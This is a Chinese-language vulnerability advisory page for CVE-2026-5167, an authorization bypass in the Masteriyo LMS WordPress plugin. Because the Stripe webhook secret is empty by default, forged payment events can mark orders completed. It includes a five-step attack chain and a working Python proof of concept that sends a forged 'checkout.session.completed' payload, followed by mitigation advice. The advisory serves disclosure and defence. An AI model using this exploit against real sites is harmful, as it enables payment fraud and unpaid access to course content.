IPBUF安全漏洞报告
English
CVE-2026-5167 CVSS 5.3 中危

CVE-2026-5167 Masteriyo LMS授权绕过漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-5167
漏洞类型
授权绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Masteriyo LMS (WordPress Plugin)

相关标签

Authorization BypassWordPressMasteriyo LMSWebhookStripeCVE-2026-5167

漏洞概述

该漏洞存在于WordPress的Masteriyo LMS插件中,影响版本包括2.1.7及以下。漏洞源于`handle_webhook()`函数中webhook签名验证机制不完善。当插件未配置webhook密钥(默认为空字符串)时,端点会处理未经身份验证的请求,且仅当特定HTTP头存在时才进行验证。攻击者可利用此缺陷绕过验证,伪造Stripe webhook事件,将任意订单标记为已完成,从而在未支付的情况下访问付费课程内容。

技术细节

漏洞核心在于Masteriyo LMS插件处理Stripe webhook时的逻辑缺陷。在`StripeAddon.php`的`handle_webhook()`函数中,代码仅在`webhook_secret`配置项不为空且请求头包含`HTTP_STRIPE_SIGNATURE`时才执行签名验证。由于该插件的`webhook_secret`默认值为空字符串,导致验证逻辑被绕过。攻击者无需任何认证即可向webhook端点发送特制的JSON数据包。通过构造包含恶意`order_id`的metadata字段,攻击者可以模拟合法的支付成功事件(如`checkout.session.completed`)。插件在收到此伪造请求后,会错误地将对应的订单状态更新为“已完成”,进而授予攻击者对付费课程内容的访问权限。这实质上是通过用户控制的关键参数(即签名验证条件的缺失)导致了授权绕过。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标站点是否安装了Masteriyo LMS插件,并确认版本是否在2.1.7及以下。
STEP 2
步骤2:定位端点
攻击者确定Stripe webhook的处理端点URL(通常为/wp-json/masteriyo/v1/stripe/webhook)。
STEP 3
步骤3:构造载荷
攻击者构造一个JSON数据包,模拟Stripe的`checkout.session.completed`事件,并在metadata字段中注入想要获取的订单ID(order_id)。
STEP 4
步骤4:发送请求
攻击者向目标端点发送POST请求。由于默认`webhook_secret`为空,攻击者无需提供有效的签名头,服务器会直接处理该请求。
STEP 5
步骤5:利用结果
服务器将指定订单的状态更改为“已完成”或“已支付”,攻击者随即可以使用该账户免费访问付费课程内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (The endpoint path may vary depending on configuration, usually /wp-json/masteriyo/v1/stripe/webhook) target_url = "http://target-wordpress-site.com/wp-json/masteriyo/v1/stripe/webhook" # The Order ID that the attacker wants to mark as completed target_order_id = "12345" # Malicious JSON payload simulating a Stripe checkout.session.completed event payload = { "type": "checkout.session.completed", "data": { "object": { "metadata": { "order_id": target_order_id }, "payment_status": "paid", "id": "fake_event_id_12345" } } } headers = { "Content-Type": "application/json" # Note: HTTP_STRIPE_SIGNATURE header is NOT sent because the vulnerability allows bypassing it when the secret is empty. } try: response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Success! Order {target_order_id} likely marked as completed.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Masteriyo LMS <= 2.1.7

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Masteriyo插件的Stripe支付功能,或者在服务器层面(如Nginx/Apache配置)对Webhook URL进行IP白名单限制,仅放行Stripe服务的IP段。此外,务必检查后台订单记录,确认是否存在异常的已完成订单。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表